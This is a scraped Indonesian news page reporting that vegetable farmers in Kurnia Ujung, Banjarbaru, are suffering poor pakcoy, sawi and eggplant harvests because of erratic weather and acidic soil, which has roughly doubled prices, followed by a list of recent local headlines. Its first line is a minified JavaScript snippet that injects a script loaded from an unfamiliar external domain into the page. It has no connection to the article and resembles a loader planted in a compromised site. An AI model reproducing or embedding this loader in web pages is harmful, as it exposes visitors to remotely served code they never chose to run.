(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Tanaman Sayur di Kurnia Ujung Terganggu Cuaca Tak Menentu


KANALKALIMANTAN.COM, BANJARBARU – Petani sayur di Banjarbaru sedang menjerit gagal panen saat cuaca tak menentu dalam dua bulan terakhir.

Sejumlah petani sayur di Jalan Kurnia Ujung, Kelurahan Landasan Ulin Utara, Kecamatan Liang Anggang, Kota Banjarbaru, Kalimantan Selatan, mengeluhkan hasil panen tidak bagus.

Sukiran mengaku, tanaman pakcoy dan sawi mereka rusak hingga membuat harga anjlok di tengah curah hujan tinggi yang disusul panas.

Baca juga: Jeritan Derita Warga Rantau Bakula Hidup Dihimpit Konsesi Batu bara

“Biasanya bisa panen itu 100 lebih, paling sedikit 100, sekarang jadinya cuma 50. Akibat panas hujan panas sekitar dua bulan terakhir,” ujar Sukiran, Jumat (14/11/2025) siang.

Lelaki setengah baya ini mengatakan cuaca tak menentu berimbas kepada sayur yang ditanam dengan pertumbuhan tidak merata. Penyebabnya karena kandungan tanah yang asam.

“Jadi pertumbuhannya tidak merata, gara-gara asam tanahnya, hanya sebagian kecil yang masih bisa dijual,” katanya.

Baca juga: Rehabilitasi Jalan Sukamara Makan Korban, Dinas PUPR Banjarbaru Beri Penjelasan

Pakcoy dan sawi yang hanya sedikit bisa dipanen, membuat harga menjadi naik hingga Rp10.000 per ikat.

“Harganya naik gara-gara langka itu, sekarang mendekati dua kali lipat harganya. Yang biasanya Rp5 ribu, ini di pasar sampai Rp10 ribu satu ikatnya,” ungkap Sukiran.

Sementara itu, Sedio, petani sayur lainnya di Jalan Kurnia Ujung menyebut tanaman terong miliknya diserang penyakit. “Kalau tanaman terong pengaruh juga saat hujan ini, bisa layu,” ujar Sedio.

Baca juga: Wakil Banjarmasin Juara Lomba Komedi Tunggal dan Yel-yel Terbaik FTBI 2025

Saat cuaca panas, katanya, panen terong miliknya bisa memperoleh hasil yang bagus. Namun, saat hujan melanda bisa kena serang berbagai penyakit.

“Misal hujan seminggu, terus saat seminggu panas itu sempat bagus, tapi ya kadang-kadang hujan. Segala macam penyakit ada,” ungkapnya.

Kendali demikian ia mengklaim saat ini terong dijual dengan harga masih bagus. “Sekarang ada yang Rp10 ribu ada Rp8 ribu, ada Rp6 ribu tergantung pengumpul,” tutup Sedio. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Rumah Penuh Air, Pak RT Mengungsi ke Rumah Tetangga

KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More

3 jam ago

Lonovila Menoreh Surga Tersembunyi di Perbukitan Menoreh

KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More

4 jam ago

Banjir di Komplek Antasari Perdana II Sungaitabuk, Akses Motor Lumpuh Total

KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More

4 jam ago

Bupati Banjar Bagikan Keperluan Warga Terdampak Banjir di Kelurahan Keraton

KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More

6 jam ago

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

12 jam ago

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

1 hari ago

This website uses cookies.